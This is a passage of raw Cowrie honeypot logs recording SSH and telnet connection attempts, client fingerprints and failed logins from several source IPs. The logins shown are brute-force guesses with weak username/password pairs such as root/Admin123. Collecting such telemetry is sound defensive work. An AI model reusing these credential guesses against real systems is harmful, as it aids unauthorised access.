{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:19.113666Z","src_ip":"94.26.106.229","session":"009f3ec76c07","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:a6:ad:da:62:4d:01:44:0a:56:87:81:a4:18:7f:49","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINTAPzEx3ERnLATK4ICNb7xIN77TkH1y/ZiraZ8NMYc2","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 7d:a6:ad:da:62:4d:01:44:0a:56:87:81:a4:18:7f:49","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:19.204250Z","src_ip":"89.163.206.178","session":"d32ed3463dbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:a6:ad:da:62:4d:01:44:0a:56:87:81:a4:18:7f:49","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINTAPzEx3ERnLATK4ICNb7xIN77TkH1y/ZiraZ8NMYc2","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:19.208213Z","src_ip":"89.163.206.178","session":"d32ed3463dbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:19.268369Z","src_ip":"45.156.87.204","session":"2ef9d5e9a1ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:19.303579Z","src_ip":"89.163.206.178","session":"d32ed3463dbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41638,"dst_ip":"10.17.0.5","dst_port":23,"session":"d774518aedf8","protocol":"telnet","message":"New connection: 152.42.224.71:41638 (10.17.0.5:23) [session: d774518aedf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:19.373586Z"}
{"eventid":"cowrie.login.failed","username":"runner","password":"root","message":"login attempt [runner/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:19.389061Z","src_ip":"94.26.106.229","session":"009f3ec76c07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00255727767944,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:20.279107Z","src_ip":"152.42.224.71","session":"4d81244de2ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41640,"dst_ip":"10.17.0.5","dst_port":23,"session":"85143d03234a","protocol":"telnet","message":"New connection: 152.42.224.71:41640 (10.17.0.5:23) [session: 85143d03234a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:20.296810Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:20.478826Z","src_ip":"94.26.106.229","session":"009f3ec76c07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":11300,"dst_ip":"159.203.135.109","dst_port":22,"session":"41ceea5f7ddf","protocol":"ssh","message":"New connection: 94.26.106.229:11300 (159.203.135.109:22) [session: 41ceea5f7ddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:20.505301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:20.509106Z","src_ip":"94.26.106.229","session":"41ceea5f7ddf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:20.598077Z","src_ip":"94.26.106.229","session":"41ceea5f7ddf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456789","message":"login attempt [server/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:20.860518Z","src_ip":"94.26.106.229","session":"41ceea5f7ddf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41642,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b11bd985a16","protocol":"telnet","message":"New connection: 152.42.224.71:41642 (10.17.0.5:23) [session: 7b11bd985a16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:21.013484Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":57458,"dst_ip":"159.203.135.109","dst_port":22,"session":"34b5a25d83a2","protocol":"ssh","message":"New connection: 45.156.87.204:57458 (159.203.135.109:22) [session: 34b5a25d83a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:21.392207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:21.396427Z","src_ip":"45.156.87.204","session":"34b5a25d83a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":42544,"dst_ip":"159.203.135.109","dst_port":22,"session":"723c4fa2259a","protocol":"ssh","message":"New connection: 94.26.106.229:42544 (159.203.135.109:22) [session: 723c4fa2259a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:21.470413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:21.474597Z","src_ip":"94.26.106.229","session":"723c4fa2259a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:21.478513Z","src_ip":"45.156.87.204","session":"34b5a25d83a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:21.557811Z","src_ip":"94.26.106.229","session":"723c4fa2259a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"phuvanduc","message":"login attempt [root/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:21.736199Z","src_ip":"45.156.87.204","session":"34b5a25d83a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"1234","message":"login attempt [david/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:21.808038Z","src_ip":"94.26.106.229","session":"723c4fa2259a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:21.948986Z","src_ip":"94.26.106.229","session":"41ceea5f7ddf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.251.249.87","src_port":49166,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bc8d3df13b6","protocol":"telnet","message":"New connection: 197.251.249.87:49166 (159.203.135.109:23) [session: 2bc8d3df13b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:22.218843Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:22.819809Z","src_ip":"45.156.87.204","session":"34b5a25d83a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":50952,"dst_ip":"159.203.135.109","dst_port":22,"session":"daa86cd0dadf","protocol":"ssh","message":"New connection: 103.149.170.125:50952 (159.203.135.109:22) [session: daa86cd0dadf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:22.883678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:22.889963Z","src_ip":"103.149.170.125","session":"daa86cd0dadf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:22.897277Z","src_ip":"94.26.106.229","session":"723c4fa2259a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:23.149827Z","src_ip":"103.149.170.125","session":"daa86cd0dadf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":47642,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2c90241dc46","protocol":"ssh","message":"New connection: 94.26.106.229:47642 (159.203.135.109:22) [session: c2c90241dc46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:23.605269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:23.610414Z","src_ip":"94.26.106.229","session":"c2c90241dc46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:23.695744Z","src_ip":"94.26.106.229","session":"c2c90241dc46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"status","message":"login attempt [root/status] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:23.949368Z","src_ip":"103.149.170.125","session":"daa86cd0dadf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hruser","password":"hruser","message":"login attempt [hruser/hruser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:23.965645Z","src_ip":"94.26.106.229","session":"c2c90241dc46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.055261850357056,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:24.706270Z","src_ip":"152.42.224.71","session":"4fe25cf619c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":41740,"dst_ip":"159.203.135.109","dst_port":22,"session":"6346a8d65410","protocol":"ssh","message":"New connection: 45.156.87.204:41740 (159.203.135.109:22) [session: 6346a8d65410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:24.904554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:24.909921Z","src_ip":"45.156.87.204","session":"6346a8d65410","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:24.993169Z","src_ip":"45.156.87.204","session":"6346a8d65410","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:25.052307Z","src_ip":"94.26.106.229","session":"c2c90241dc46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:25.211483Z","src_ip":"103.149.170.125","session":"daa86cd0dadf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:25.244114Z","src_ip":"45.156.87.204","session":"6346a8d65410","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:26.329557Z","src_ip":"45.156.87.204","session":"6346a8d65410","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":47652,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d84a1864f33","protocol":"ssh","message":"New connection: 94.26.106.229:47652 (159.203.135.109:22) [session: 6d84a1864f33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:26.424350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:26.427953Z","src_ip":"94.26.106.229","session":"6d84a1864f33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-